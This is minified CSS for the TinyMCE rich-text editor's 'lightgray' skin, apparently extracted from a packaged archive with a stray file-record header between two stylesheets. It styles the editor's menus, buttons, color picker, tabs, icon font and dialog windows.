.mce-first{margin-right:0}.mce-rtl
.mce-btn-group:not(:first-child){border-left:none;border-right:1px solid
#d9d9d9;padding-right:4px;margin-right:4px}.mce-checkbox{cursor:pointer}i.mce-i-checkbox{margin:0
3px 0 0;border:1px solid
#c5c5c5;background-color:#f0f0f0;text-indent:-10em;*font-size:0;*line-height:0;*text-indent:0;overflow:hidden}.mce-checked
i.mce-i-checkbox{color:#333;font-size:16px;line-height:16px;text-indent:0}.mce-checkbox:focus
i.mce-i-checkbox,.mce-checkbox.mce-focus i.mce-i-checkbox{border:1px solid
rgba(82,168,236,0.8)}.mce-checkbox.mce-disabled
.mce-label,.mce-checkbox.mce-disabled
i.mce-i-checkbox{color:#acacac}.mce-checkbox
.mce-label{vertical-align:middle}.mce-rtl
.mce-checkbox{direction:rtl;text-align:right}.mce-rtl
i.mce-i-checkbox{margin:0 0 0
3px}.mce-combobox{position:relative;display:inline-block;*display:inline;*zoom:1;*height:32px}.mce-combobox
input{border:1px solid
#c5c5c5;border-right-color:#c5c5c5;height:28px}.mce-combobox.mce-disabled
input{color:#adadad}.mce-combobox .mce-btn{border:1px solid
#c5c5c5;border-left:0;margin:0}.mce-combobox
button{padding-right:8px;padding-left:8px}.mce-combobox.mce-disabled
.mce-btn
button{cursor:default;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-combobox
.mce-status{position:absolute;right:2px;top:50%;line-height:16px;margin-top:-8px;font-size:12px;width:15px;height:15px;text-align:center;cursor:pointer}.mce-combobox.mce-has-status
input{padding-right:20px}.mce-combobox.mce-has-open
.mce-status{right:37px}.mce-combobox
.mce-status.mce-i-warning{color:#c09853}.mce-combobox
.mce-status.mce-i-checkmark{color:#468847}.mce-menu.mce-combobox-menu{border-top:0;margin-top:0;max-height:200px}.mce-menu.mce-combobox-menu
.mce-menu-item{padding:4px 6px 4px
4px;font-size:11px}.mce-menu.mce-combobox-menu
.mce-menu-item-sep{padding:0}.mce-menu.mce-combobox-menu
.mce-text{font-size:11px}.mce-menu.mce-combobox-menu
.mce-menu-item-link,.mce-menu.mce-combobox-menu .mce-menu-item-link
b{font-size:11px}.mce-menu.mce-combobox-menu .mce-text
b{font-size:11px}.mce-colorbox i{border:1px solid
#c5c5c5;width:14px;height:14px}.mce-colorbutton
.mce-ico{position:relative}.mce-colorbutton-grid{margin:4px}.mce-colorbutton
button{padding-right:6px;padding-left:6px}.mce-colorbutton
.mce-preview{padding-right:3px;display:block;position:absolute;left:50%;top:50%;margin-left:-17px;margin-top:7px;background:gray;width:13px;height:2px;overflow:hidden}.mce-colorbutton.mce-btn-small
.mce-preview{margin-left:-16px;padding-right:0;width:16px}.mce-colorbutton
.mce-open{padding-left:4px;padding-right:4px;border-left:1px solid
transparent}.mce-colorbutton:hover
.mce-open{border-color:#ccc}.mce-colorbutton.mce-btn-small
.mce-open{padding:0 3px 0 3px}.mce-rtl
.mce-colorbutton{direction:rtl}.mce-rtl .mce-colorbutton
.mce-preview{margin-left:0;padding-right:0;padding-left:3px}.mce-rtl
.mce-colorbutton.mce-btn-small
.mce-preview{margin-left:0;padding-right:0;padding-left:2px}.mce-rtl
.mce-colorbutton
.mce-open{padding-left:4px;padding-right:4px;border-left:0}.mce-colorpicker{position:relative;width:250px;height:220px}.mce-colorpicker-sv{position:absolute;top:0;left:0;width:90%;height:100%;border:1px
solid
#c5c5c5;cursor:crosshair;overflow:hidden}.mce-colorpicker-h-chunk{width:100%}.mce-colorpicker-overlay1,.mce-colorpicker-overlay2{width:100%;height:100%;position:absolute;top:0;left:0}.mce-colorpicker-overlay1{filter:progid:DXImageTransform.Microsoft.gradient(GradientType=1,
startColorstr='#ffffff',
endColorstr='#00ffffff');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(GradientType=1,startColorstr='#ffffff',
endColorstr='#00ffffff')";background:linear-gradient(to
right, #fff,
rgba(255,255,255,0))}.mce-colorpicker-overlay2{filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,
startColorstr='#00000000',
endColorstr='#000000');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#00000000',
endColorstr='#000000')";background:linear-gradient(to
bottom, rgba(0,0,0,0),
#000)}.mce-colorpicker-selector1{background:none;position:absolute;width:12px;height:12px;margin:-8px
0 0 -8px;border:1px solid
black;border-radius:50%}.mce-colorpicker-selector2{position:absolute;width:10px;height:10px;border:1px
solid
white;border-radius:50%}.mce-colorpicker-h{position:absolute;top:0;right:0;width:6.5%;height:100%;border:1px
solid
#c5c5c5;cursor:crosshair}.mce-colorpicker-h-marker{margin-top:-4px;position:absolute;top:0;left:-1px;width:100%;border:1px
solid
#333;background:#fff;height:4px;z-index:100}.mce-path{display:inline-block;*display:inline;*zoom:1;padding:8px;white-space:normal}.mce-path
.mce-txt{display:inline-block;padding-right:3px}.mce-path
.mce-path-body{display:inline-block}.mce-path-item{display:inline-block;*display:inline;*zoom:1;cursor:pointer;color:#333}.mce-path-item:hover{text-decoration:underline}.mce-path-item:focus{background:#666;color:#fff}.mce-path
.mce-divider{display:inline}.mce-disabled
.mce-path-item{color:#aaa}.mce-rtl
.mce-path{direction:rtl}.mce-fieldset{border:0 solid
#9E9E9E}.mce-fieldset>.mce-container-body{margin-top:-15px}.mce-fieldset-title{margin-left:5px;padding:0
5px 0
5px}.mce-fit-layout{display:inline-block;*display:inline;*zoom:1}.mce-fit-layout-item{position:absolute}.mce-flow-layout-item{display:inline-block;*display:inline;*zoom:1}.mce-flow-layout-item{margin:2px
0 2px
2px}.mce-flow-layout-item.mce-last{margin-right:2px}.mce-flow-layout{white-space:normal}.mce-tinymce-inline
.mce-flow-layout{white-space:nowrap}.mce-rtl
.mce-flow-layout{text-align:right;direction:rtl}.mce-rtl
.mce-flow-layout-item{margin:2px 2px 2px 0}.mce-rtl
.mce-flow-layout-item.mce-last{margin-left:2px}.mce-iframe{border:0 solid
rgba(0,0,0,0.2);width:100%;height:100%}.mce-infobox{display:inline-block;*display:inline;*zoom:1;text-shadow:0
1px 1px rgba(255,255,255,0.75);overflow:hidden;border:1px solid
red}.mce-infobox div{display:block;margin:5px}.mce-infobox div
button{position:absolute;top:50%;right:4px;cursor:pointer;margin-top:-8px;display:none}.mce-infobox
div button:focus{outline:2px solid #ccc}.mce-infobox.mce-has-help
div{margin-right:25px}.mce-infobox.mce-has-help
button{display:block}.mce-infobox.mce-success{background:#dff0d8;border-color:#d6e9c6}.mce-infobox.mce-success
div{color:#3c763d}.mce-infobox.mce-warning{background:#fcf8e3;border-color:#faebcc}.mce-infobox.mce-warning
div{color:#8a6d3b}.mce-infobox.mce-error{background:#f2dede;border-color:#ebccd1}.mce-infobox.mce-error
div{color:#a94442}.mce-rtl .mce-infobox
div{text-align:right;direction:rtl}.mce-label{display:inline-block;*display:inline;*zoom:1;text-shadow:0
1px 1px
rgba(255,255,255,0.75);overflow:hidden}.mce-label.mce-autoscroll{overflow:auto}.mce-label.mce-disabled{color:#aaa}.mce-label.mce-multiline{white-space:pre-wrap}.mce-label.mce-success{color:#468847}.mce-label.mce-warning{color:#c09853}.mce-label.mce-error{color:#b94a48}.mce-rtl
.mce-label{text-align:right;direction:rtl}.mce-menubar
.mce-menubtn{border-color:transparent;background:transparent;filter:none}.mce-menubar
.mce-menubtn button{color:#333}.mce-menubar{border:1px solid
rgba(217,217,217,0.52)}.mce-menubar .mce-menubtn button
span{color:#333}.mce-menubar .mce-caret{border-top-color:#333}.mce-menubar
.mce-menubtn:hover,.mce-menubar .mce-menubtn.mce-active,.mce-menubar
.mce-menubtn:focus{border-color:#ccc;background:#fff;filter:none}.mce-menubtn
button{color:#333}.mce-menubtn.mce-btn-small
span{font-size:12px}.mce-menubtn.mce-fixed-width
span{display:inline-block;overflow-x:hidden;text-overflow:ellipsis;width:90px}.mce-menubtn.mce-fixed-width.mce-btn-small
span{width:70px}.mce-menubtn .mce-caret{*margin-top:6px}.mce-rtl
.mce-menubtn
button{direction:rtl;text-align:right}.mce-menu-item{display:block;padding:6px
15px 6px
12px;clear:both;font-weight:normal;line-height:20px;color:#333;white-space:nowrap;cursor:pointer;line-height:normal;border-left:4px
solid transparent;margin-bottom:1px}.mce-menu-item .mce-ico,.mce-menu-item
.mce-text{color:#333}.mce-menu-item.mce-disabled
.mce-text,.mce-menu-item.mce-disabled
.mce-ico{color:#adadad}.mce-menu-item:hover
.mce-text,.mce-menu-item.mce-selected .mce-text,.mce-menu-item:focus
.mce-text{color:white}.mce-menu-item:hover
.mce-ico,.mce-menu-item.mce-selected .mce-ico,.mce-menu-item:focus
.mce-ico{color:white}.mce-menu-item.mce-disabled:hover{background:#CCC}.mce-menu-shortcut{display:inline-block;color:#adadad}.mce-menu-shortcut{display:inline-block;*display:inline;*zoom:1;padding:0
15px 0 20px}.mce-menu-item:hover
.mce-menu-shortcut,.mce-menu-item.mce-selected
.mce-menu-shortcut,.mce-menu-item:focus
.mce-menu-shortcut{color:white}.mce-menu-item
.mce-caret{margin-top:4px;*margin-top:3px;margin-right:6px;border-top:4px
solid transparent;border-bottom:4px solid transparent;border-left:4px solid
#333}.mce-menu-item.mce-selected .mce-caret,.mce-menu-item:focus
.mce-caret,.mce-menu-item:hover
.mce-caret{border-left-color:white}.mce-menu-align
.mce-menu-shortcut{*margin-top:-2px}.mce-menu-align
.mce-menu-shortcut,.mce-menu-align
.mce-caret{position:absolute;right:0}.mce-menu-item.mce-active
i{visibility:visible}.mce-menu-item-normal.mce-active{background-color:#3498db}.mce-menu-item-preview.mce-active{border-left:5px
solid #aaa}.mce-menu-item-normal.mce-active
.mce-text{color:white}.mce-menu-item-normal.mce-active:hover
.mce-text,.mce-menu-item-normal.mce-active:hover
.mce-ico{color:white}.mce-menu-item-normal.mce-active:focus
.mce-text,.mce-menu-item-normal.mce-active:focus
.mce-ico{color:white}.mce-menu-item:hover,.mce-menu-item.mce-selected,.mce-menu-item:focus{text-decoration:none;color:white;background-color:#2d8ac7}.mce-menu-item-link{color:#093;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.mce-menu-item-link
b{color:#093}.mce-menu-item-ellipsis{display:block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.mce-menu-item:hover
*,.mce-menu-item.mce-selected *,.mce-menu-item:focus
*{color:white}div.mce-menu
.mce-menu-item-sep,.mce-menu-item-sep:hover{border:0;padding:0;height:1px;margin:9px
1px;overflow:hidden;background:transparent;border-bottom:1px solid
rgba(0,0,0,0.1);cursor:default;filter:none}div.mce-menu .mce-menu-item
b{font-weight:bold}.mce-menu-item-indent-1{padding-left:20px}.mce-menu-item-indent-2{padding-left:35px}.mce-menu-item-indent-2{padding-left:35px}.mce-menu-item-indent-3{padding-left:40px}.mce-menu-item-indent-4{padding-left:45px}.mce-menu-item-indent-5{padding-left:50px}.mce-menu-item-indent-6{padding-left:55px}.mce-menu.mce-rtl{direction:rtl}.mce-rtl
.mce-menu-item{text-align:right;direction:rtl;padding:6px 12px 6px
15px}.mce-menu-align.mce-rtl .mce-menu-shortcut,.mce-menu-align.mce-rtl
.mce-caret{right:auto;left:0}.mce-rtl .mce-menu-item
.mce-caret{margin-left:6px;margin-right:0;border-right:4px solid
#333;border-left:0}.mce-rtl .mce-menu-item.mce-selected .mce-caret,.mce-rtl
.mce-menu-item:focus .mce-caret,.mce-rtl .mce-menu-item:hover
.mce-caret{border-left-color:transparent;border-right-color:white}.mce-throbber{position:absolute;top:0;left:0;width:100%;height:100%;opacity:.6;filter:alpha(opacity=60);zoom:1;background:#fff
url('img/loader.gif') no-repeat center
center}.mce-throbber-inline{position:static;height:50px}.mce-menu
.mce-throbber-inline{height:25px;background-size:contain}.mce-menu{position:absolute;left:0;top:0;filter:progid:DXImageTransform.Microsoft.gradient(enabled
= false);background:transparent;z-index:1000;padding:5px 0 5px
0;margin:-1px 0 0;min-width:160px;background:#fff;border:1px solid
#989898;border:1px solid
rgba(0,0,0,0.2);z-index:1002;max-height:400px;overflow:auto;overflow-x:hidden}.mce-menu
i{display:none}.mce-menu-has-icons
i{display:inline-block;*display:inline}.mce-menu-sub-tr-tl{margin:-6px 0 0
-1px}.mce-menu-sub-br-bl{margin:6px 0 0
-1px}.mce-menu-sub-tl-tr{margin:-6px 0 0 1px}.mce-menu-sub-bl-br{margin:6px
0 0 1px}.mce-listbox
button{text-align:left;padding-right:20px;position:relative}.mce-listbox
.mce-caret{position:absolute;margin-top:-2px;right:8px;top:50%}.mce-rtl
.mce-listbox .mce-caret{right:auto;left:8px}.mce-rtl .mce-listbox
button{padding-right:10px;padding-left:20px}.mce-container-body
.mce-resizehandle{position:absolute;right:0;bottom:0;width:16px;height:16px;visibility:visible;cursor:s-resize;margin:0}.mce-container-body
.mce-resizehandle-both{cursor:se-resize}i.mce-i-resize{color:#333}.mce-selectbox{background:#fff;border:1px
solid #c5c5c5}.mce-slider{border:1px solid
#AAA;background:#EEE;width:100px;height:10px;position:relative;display:block}.mce-slider.mce-vertical{width:10px;height:100px}.mce-slider-handle{border:1px
solid
#BBB;background:#DDD;display:block;width:13px;height:13px;position:absolute;top:0;left:0;margin-left:-1px;margin-top:-2px}.mce-slider-handle:focus{background:#BBB}.mce-spacer{visibility:hidden}.mce-splitbtn
.mce-open{border-left:1px solid transparent}.mce-splitbtn:hover
.mce-open{border-left-color:#ccc}.mce-splitbtn
button{padding-right:6px;padding-left:6px}.mce-splitbtn
.mce-open{padding-right:4px;padding-left:4px}.mce-splitbtn
.mce-open.mce-active{background-color:#dbdbdb;outline:1px solid
#ccc}.mce-splitbtn.mce-btn-small .mce-open{padding:0 3px 0 3px}.mce-rtl
.mce-splitbtn{direction:rtl;text-align:right}.mce-rtl .mce-splitbtn
button{padding-right:4px;padding-left:4px}.mce-rtl .mce-splitbtn
.mce-open{border-left:0}.mce-stack-layout-item{display:block}.mce-tabs{display:block;border-bottom:1px
solid
#c5c5c5}.mce-tabs,.mce-tabs+.mce-container-body{background:#FFF}.mce-tab{display:inline-block;*display:inline;*zoom:1;border:1px
solid #c5c5c5;border-width:0 1px 0
0;background:#ffffff;padding:8px;text-shadow:0 1px 1px
rgba(255,255,255,0.75);height:13px;cursor:pointer}.mce-tab:hover{background:#FDFDFD}.mce-tab.mce-active{background:#FDFDFD;border-bottom-color:transparent;margin-bottom:-1px;height:14px}.mce-rtl
.mce-tabs{text-align:right;direction:rtl}.mce-rtl .mce-tab{border-width:0 0
0 1px}.mce-textbox{background:#fff;border:1px solid
#c5c5c5;display:inline-block;-webkit-transition:border linear .2s,
box-shadow linear .2s;transition:border linear .2s, box-shadow linear
.2s;height:28px;resize:none;padding:0 4px 0
4px;white-space:pre-wrap;*white-space:pre;color:#333}.mce-textbox:focus,.mce-textbox.mce-focus{border-color:#3498db}.mce-placeholder
.mce-textbox{color:#aaa}.mce-textbox.mce-multiline{padding:4px;height:auto}.mce-textbox.mce-disabled{color:#adadad}.mce-rtl
.mce-textbox{text-align:right;direction:rtl}@font-face{font-family:'tinymce';src:url('fonts/tinymce.eot');src:url('fonts/tinymce.eot?#iefix')
format('embedded-opentype'),url('fonts/tinymce.woff')
format('woff'),url('fonts/tinymce.ttf')
format('truetype'),url('fonts/tinymce.svg#tinymce')
format('svg');font-weight:normal;font-style:normal}@font-face{font-family:'tinymce-small';src:url('fonts/tinymce-small.eot');src:url('fonts/tinymce-small.eot?#iefix')
format('embedded-opentype'),url('fonts/tinymce-small.woff')
format('woff'),url('fonts/tinymce-small.ttf')
format('truetype'),url('fonts/tinymce-small.svg#tinymce')
format('svg');font-weight:normal;font-style:normal}.mce-ico{font-family:'tinymce';font-style:normal;font-weight:normal;font-size:16px;line-height:16px;vertical-align:text-top;-webkit-font-smoothing:antialiased;display:inline-block;background:transparent
center center;width:16px;height:16px;color:#333;-ie7-icon:'
'}.mce-btn-small
.mce-ico{font-family:'tinymce-small'}.mce-ico,i.mce-i-checkbox{zoom:expression(this.runtimeStyle['zoom']
= '1', this.innerHTML =
this.currentStyle['-ie7-icon'].substr(1, 1) +
'&nbsp;')}.mce-i-save{-ie7-icon:"\e000"}.mce-i-newdocument{-ie7-icon:"\e001"}.mce-i-fullpage{-ie7-icon:"\e002"}.mce-i-alignleft{-ie7-icon:"\e003"}.mce-i-aligncenter{-ie7-icon:"\e004"}.mce-i-alignright{-ie7-icon:"\e005"}.mce-i-alignjustify{-ie7-icon:"\e006"}.mce-i-alignnone{-ie7-icon:"\e003"}.mce-i-cut{-ie7-icon:"\e007"}.mce-i-paste{-ie7-icon:"\e008"}.mce-i-searchreplace{-ie7-icon:"\e009"}.mce-i-bullist{-ie7-icon:"\e00a"}.mce-i-numlist{-ie7-icon:"\e00b"}.mce-i-indent{-ie7-icon:"\e00c"}.mce-i-outdent{-ie7-icon:"\e00d"}.mce-i-blockquote{-ie7-icon:"\e00e"}.mce-i-undo{-ie7-icon:"\e00f"}.mce-i-redo{-ie7-icon:"\e010"}.mce-i-link{-ie7-icon:"\e011"}.mce-i-unlink{-ie7-icon:"\e012"}.mce-i-anchor{-ie7-icon:"\e013"}.mce-i-image{-ie7-icon:"\e014"}.mce-i-media{-ie7-icon:"\e015"}.mce-i-help{-ie7-icon:"\e016"}.mce-i-code{-ie7-icon:"\e017"}.mce-i-insertdatetime{-ie7-icon:"\e018"}.mce-i-preview{-ie7-icon:"\e019"}.mce-i-forecolor{-ie7-icon:"\e01a"}.mce-i-backcolor{-ie7-icon:"\e01a"}.mce-i-table{-ie7-icon:"\e01b"}.mce-i-hr{-ie7-icon:"\e01c"}.mce-i-removeformat{-ie7-icon:"\e01d"}.mce-i-subscript{-ie7-icon:"\e01e"}.mce-i-superscript{-ie7-icon:"\e01f"}.mce-i-charmap{-ie7-icon:"\e020"}.mce-i-emoticons{-ie7-icon:"\e021"}.mce-i-print{-ie7-icon:"\e022"}.mce-i-fullscreen{-ie7-icon:"\e023"}.mce-i-spellchecker{-ie7-icon:"\e024"}.mce-i-nonbreaking{-ie7-icon:"\e025"}.mce-i-template{-ie7-icon:"\e026"}.mce-i-pagebreak{-ie7-icon:"\e027"}.mce-i-restoredraft{-ie7-icon:"\e028"}.mce-i-untitled{-ie7-icon:"\e029"}.mce-i-bold{-ie7-icon:"\e02a"}.mce-i-italic{-ie7-icon:"\e02b"}.mce-i-underline{-ie7-icon:"\e02c"}.mce-i-strikethrough{-ie7-icon:"\e02d"}.mce-i-visualchars{-ie7-icon:"\e02e"}.mce-i-ltr{-ie7-icon:"\e02f"}.mce-i-rtl{-ie7-icon:"\e030"}.mce-i-copy{-ie7-icon:"\e031"}.mce-i-resize{-ie7-icon:"\e032"}.mce-i-browse{-ie7-icon:"\e034"}.mce-i-pastetext{-ie7-icon:"\e035"}.mce-i-rotateleft{-ie7-icon:"\eaa8"}.mce-i-rotateright{-ie7-icon:"\eaa9"}.mce-i-crop{-ie7-icon:"\ee78"}.mce-i-editimage{-ie7-icon:"\e914"}.mce-i-options{-ie7-icon:"\ec6a"}.mce-i-flipv{-ie7-icon:"\eaaa"}.mce-i-fliph{-ie7-icon:"\eaac"}.mce-i-zoomin{-ie7-icon:"\eb35"}.mce-i-zoomout{-ie7-icon:"\eb36"}.mce-i-sun{-ie7-icon:"\eccc"}.mce-i-moon{-ie7-icon:"\eccd"}.mce-i-arrowleft{-ie7-icon:"\edc0"}.mce-i-arrowright{-ie7-icon:"\edb8"}.mce-i-drop{-ie7-icon:"\e934"}.mce-i-contrast{-ie7-icon:"\ecd4"}.mce-i-sharpen{-ie7-icon:"\eba7"}.mce-i-palette{-ie7-icon:"\e92a"}.mce-i-resize2{-ie7-icon:"\edf9"}.mce-i-orientation{-ie7-icon:"\e601"}.mce-i-invert{-ie7-icon:"\e602"}.mce-i-gamma{-ie7-icon:"\e600"}.mce-i-remove{-ie7-icon:"\ed6a"}.mce-i-codesample{-ie7-icon:"\e603"}.mce-i-checkbox,.mce-i-selected{-ie7-icon:"\e033"}.mce-i-selected{visibility:hidden}.mce-i-backcolor{background:#BBB}PKV��[cd��X�X�$tinymce/skins/lightgray/skin.min.cssnu�[���.mce-container,.mce-container
*,.mce-widget,.mce-widget
*,.mce-reset{margin:0;padding:0;border:0;outline:0;vertical-align:top;background:transparent;text-decoration:none;color:#333;font-family:"Helvetica
Neue",Helvetica,Arial,sans-serif;font-size:14px;text-shadow:none;float:none;position:static;width:auto;height:auto;white-space:nowrap;cursor:inherit;-webkit-tap-highlight-color:transparent;line-height:normal;font-weight:normal;text-align:left;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;direction:ltr;max-width:none}.mce-widget
button{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.mce-container
*[unselectable]{-moz-user-select:none;-webkit-user-select:none;-o-user-select:none;user-select:none}.mce-fade{opacity:0;-webkit-transition:opacity
.15s linear;transition:opacity .15s
linear}.mce-fade.mce-in{opacity:1}.mce-tinymce{visibility:inherit
!important;position:relative}.mce-fullscreen{border:0;padding:0;margin:0;overflow:hidden;height:100%;z-index:100}div.mce-fullscreen{position:fixed;top:0;left:0;width:100%;height:auto}.mce-tinymce{display:block}.mce-wordcount{position:absolute;top:0;right:0;padding:8px}div.mce-edit-area{background:#FFF;filter:none}.mce-statusbar{position:relative}.mce-statusbar
.mce-container-body{position:relative}.mce-fullscreen
.mce-resizehandle{display:none}.mce-charmap{border-collapse:collapse}.mce-charmap
td{cursor:default;border:1px solid
rgba(0,0,0,0.2);width:20px;height:20px;line-height:20px;text-align:center;vertical-align:middle;padding:2px}.mce-charmap
td div{text-align:center}.mce-charmap td:hover{background:#D9D9D9}.mce-grid
td.mce-grid-cell div{border:1px solid
#d6d6d6;width:15px;height:15px;margin:0;cursor:pointer}.mce-grid
td.mce-grid-cell div:focus{border-color:#3498db}.mce-grid td.mce-grid-cell
div[disabled]{cursor:not-allowed}.mce-grid{border-spacing:2px;border-collapse:separate}.mce-grid
a{display:block;border:1px solid transparent}.mce-grid a:hover,.mce-grid
a:focus{border-color:#3498db}.mce-grid-border{margin:0 4px 0
4px}.mce-grid-border
a{border-color:#d6d6d6;width:13px;height:13px}.mce-grid-border
a:hover,.mce-grid-border
a.mce-active{border-color:#3498db;background:#3498db}.mce-text-center{text-align:center}div.mce-tinymce-inline{width:100%}.mce-colorbtn-trans
div{text-align:center;vertical-align:middle;font-weight:bold;font-size:20px;line-height:16px;color:#707070}.mce-monospace{font-family:"Courier
New",Courier,monospace}.mce-toolbar-grp{padding:2px 0}.mce-toolbar-grp
.mce-flow-layout-item{margin-bottom:0}.mce-rtl
.mce-wordcount{left:0;right:auto}.mce-croprect-container{position:absolute;top:0;left:0}.mce-croprect-handle{position:absolute;top:0;left:0;width:20px;height:20px;border:2px
solid white}.mce-croprect-handle-nw{border-width:2px 0 0 2px;margin:-2px 0
0
-2px;cursor:nw-resize;top:100px;left:100px}.mce-croprect-handle-ne{border-width:2px
2px 0 0;margin:-2px 0 0
-20px;cursor:ne-resize;top:100px;left:200px}.mce-croprect-handle-sw{border-width:0
0 2px 2px;margin:-20px 2px 0
-2px;cursor:sw-resize;top:200px;left:100px}.mce-croprect-handle-se{border-width:0
2px 2px 0;margin:-20px 0 0
-20px;cursor:se-resize;top:200px;left:200px}.mce-croprect-handle-move{position:absolute;cursor:move;border:0}.mce-croprect-block{opacity:.3;filter:alpha(opacity=30);zoom:1;position:absolute;background:black}.mce-croprect-handle:focus{border-color:#3498db}.mce-croprect-handle-move:focus{outline:1px
solid
#3498db}.mce-imagepanel{overflow:auto;background:black}.mce-imagepanel-bg{position:absolute;background:url('data:image/gif;base64,R0lGODdhDAAMAIABAMzMzP///ywAAAAADAAMAAACFoQfqYeabNyDMkBQb81Uat85nxguUAEAOw==')}.mce-imagepanel
img{position:absolute}.mce-imagetool.mce-btn
.mce-ico{display:block;width:20px;height:20px;text-align:center;line-height:20px;font-size:20px;padding:5px}.mce-arrow-up{margin-top:12px}.mce-arrow-down{margin-top:-12px}.mce-arrow:before,.mce-arrow:after{position:absolute;left:50%;display:block;width:0;height:0;border-style:solid;border-color:transparent;content:""}.mce-arrow.mce-arrow-up:before{top:-9px;border-bottom-color:rgba(0,0,0,0.2);border-width:0
9px
9px;margin-left:-9px}.mce-arrow.mce-arrow-down:before{bottom:-9px;border-top-color:rgba(0,0,0,0.2);border-width:9px
9px
0;margin-left:-9px}.mce-arrow.mce-arrow-up:after{top:-8px;border-bottom-color:#f0f0f0;border-width:0
8px
8px;margin-left:-8px}.mce-arrow.mce-arrow-down:after{bottom:-8px;border-top-color:#f0f0f0;border-width:8px
8px
0;margin-left:-8px}.mce-arrow.mce-arrow-left:before,.mce-arrow.mce-arrow-left:after{margin:0}.mce-arrow.mce-arrow-left:before{left:8px}.mce-arrow.mce-arrow-left:after{left:9px}.mce-arrow.mce-arrow-right:before,.mce-arrow.mce-arrow-right:after{left:auto;margin:0}.mce-arrow.mce-arrow-right:before{right:8px}.mce-arrow.mce-arrow-right:after{right:9px}.mce-arrow.mce-arrow-center.mce-arrow.mce-arrow-left:before{left:-9px;top:50%;border-right-color:rgba(0,0,0,0.2);border-width:9px
9px 9px
0;margin-top:-9px}.mce-arrow.mce-arrow-center.mce-arrow.mce-arrow-left:after{left:-8px;top:50%;border-right-color:#f0f0f0;border-width:8px
8px 8px
0;margin-top:-8px}.mce-arrow.mce-arrow-center.mce-arrow.mce-arrow-left{margin-left:12px}.mce-arrow.mce-arrow-center.mce-arrow.mce-arrow-right:before{right:-9px;top:50%;border-left-color:rgba(0,0,0,0.2);border-width:9px
0 9px
9px;margin-top:-9px}.mce-arrow.mce-arrow-center.mce-arrow.mce-arrow-right:after{right:-8px;top:50%;border-left-color:#f0f0f0;border-width:8px
0 8px
8px;margin-top:-8px}.mce-arrow.mce-arrow-center.mce-arrow.mce-arrow-right{margin-left:-14px}.mce-edit-aria-container>.mce-container-body{display:flex}.mce-edit-aria-container>.mce-container-body
.mce-edit-area{flex:1}.mce-edit-aria-container>.mce-container-body
.mce-sidebar>.mce-container-body{display:flex;align-items:stretch;height:100%}.mce-edit-aria-container>.mce-container-body
.mce-sidebar-panel{min-width:250px;max-width:250px;position:relative}.mce-edit-aria-container>.mce-container-body
.mce-sidebar-panel>.mce-container-body{position:absolute;width:100%;height:100%;overflow:auto;top:0;left:0}.mce-sidebar-toolbar{border:0
solid rgba(0,0,0,0.2);border-left-width:1px}.mce-sidebar-toolbar
.mce-btn.mce-active,.mce-sidebar-toolbar
.mce-btn.mce-active:hover{border:1px solid
transparent;border-color:transparent;background-color:#2d8ac7}.mce-sidebar-toolbar
.mce-btn.mce-active button,.mce-sidebar-toolbar .mce-btn.mce-active:hover
button,.mce-sidebar-toolbar .mce-btn.mce-active button
i,.mce-sidebar-toolbar .mce-btn.mce-active:hover button
i{color:#fff;text-shadow:1px 1px none}.mce-sidebar-panel{border:0 solid
rgba(0,0,0,0.2);border-left-width:1px}.mce-container,.mce-container-body{display:block}.mce-autoscroll{overflow:hidden}.mce-scrollbar{position:absolute;width:7px;height:100%;top:2px;right:2px;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-scrollbar-h{top:auto;right:auto;left:2px;bottom:2px;width:100%;height:7px}.mce-scrollbar-thumb{position:absolute;background-color:#000;border:1px
solid
#888;border-color:rgba(85,85,85,0.6);width:5px;height:100%}.mce-scrollbar-h
.mce-scrollbar-thumb{width:100%;height:5px}.mce-scrollbar:hover,.mce-scrollbar.mce-active{background-color:#AAA;opacity:.6;filter:alpha(opacity=60);zoom:1}.mce-scroll{position:relative}.mce-panel{border:0
solid #cacaca;border:0 solid
rgba(0,0,0,0.2);background-color:#f0f0f0}.mce-floatpanel{position:absolute}.mce-floatpanel.mce-fixed{position:fixed}.mce-floatpanel
.mce-arrow,.mce-floatpanel
.mce-arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.mce-floatpanel
.mce-arrow{border-width:11px}.mce-floatpanel
.mce-arrow:after{border-width:10px;content:""}.mce-floatpanel.mce-popover{filter:progid:DXImageTransform.Microsoft.gradient(enabled
= false);background:transparent;top:0;left:0;background:#FFF;border:1px
solid rgba(0,0,0,0.2);border:1px solid
rgba(0,0,0,0.25)}.mce-floatpanel.mce-popover.mce-bottom{margin-top:10px;*margin-top:0}.mce-floatpanel.mce-popover.mce-bottom>.mce-arrow{left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:rgba(0,0,0,0.2);border-bottom-color:rgba(0,0,0,0.25);top:-11px}.mce-floatpanel.mce-popover.mce-bottom>.mce-arrow:after{top:1px;margin-left:-10px;border-top-width:0;border-bottom-color:#FFF}.mce-floatpanel.mce-popover.mce-bottom.mce-start{margin-left:-22px}.mce-floatpanel.mce-popover.mce-bottom.mce-start>.mce-arrow{left:20px}.mce-floatpanel.mce-popover.mce-bottom.mce-end{margin-left:22px}.mce-floatpanel.mce-popover.mce-bottom.mce-end>.mce-arrow{right:10px;left:auto}.mce-fullscreen{border:0;padding:0;margin:0;overflow:hidden;height:100%}div.mce-fullscreen{position:fixed;top:0;left:0}#mce-modal-block{opacity:0;filter:alpha(opacity=0);zoom:1;position:fixed;left:0;top:0;width:100%;height:100%;background:#000}#mce-modal-block.mce-in{opacity:.3;filter:alpha(opacity=30);zoom:1}.mce-window-move{cursor:move}.mce-window{filter:progid:DXImageTransform.Microsoft.gradient(enabled
=
false);background:transparent;background:#FFF;position:fixed;top:0;left:0;opacity:0;transform:scale(.1);transition:transform
100ms ease-in,opacity 150ms
ease-in}.mce-window.mce-in{transform:scale(1);opacity:1}.mce-window-head{padding:9px
15px;border-bottom:1px solid #c5c5c5;position:relative}.mce-window-head
.mce-close{position:absolute;right:0;top:0;height:38px;width:38px;text-align:center;cursor:pointer}.mce-window-head
.mce-close i{color:#858585}.mce-close:hover
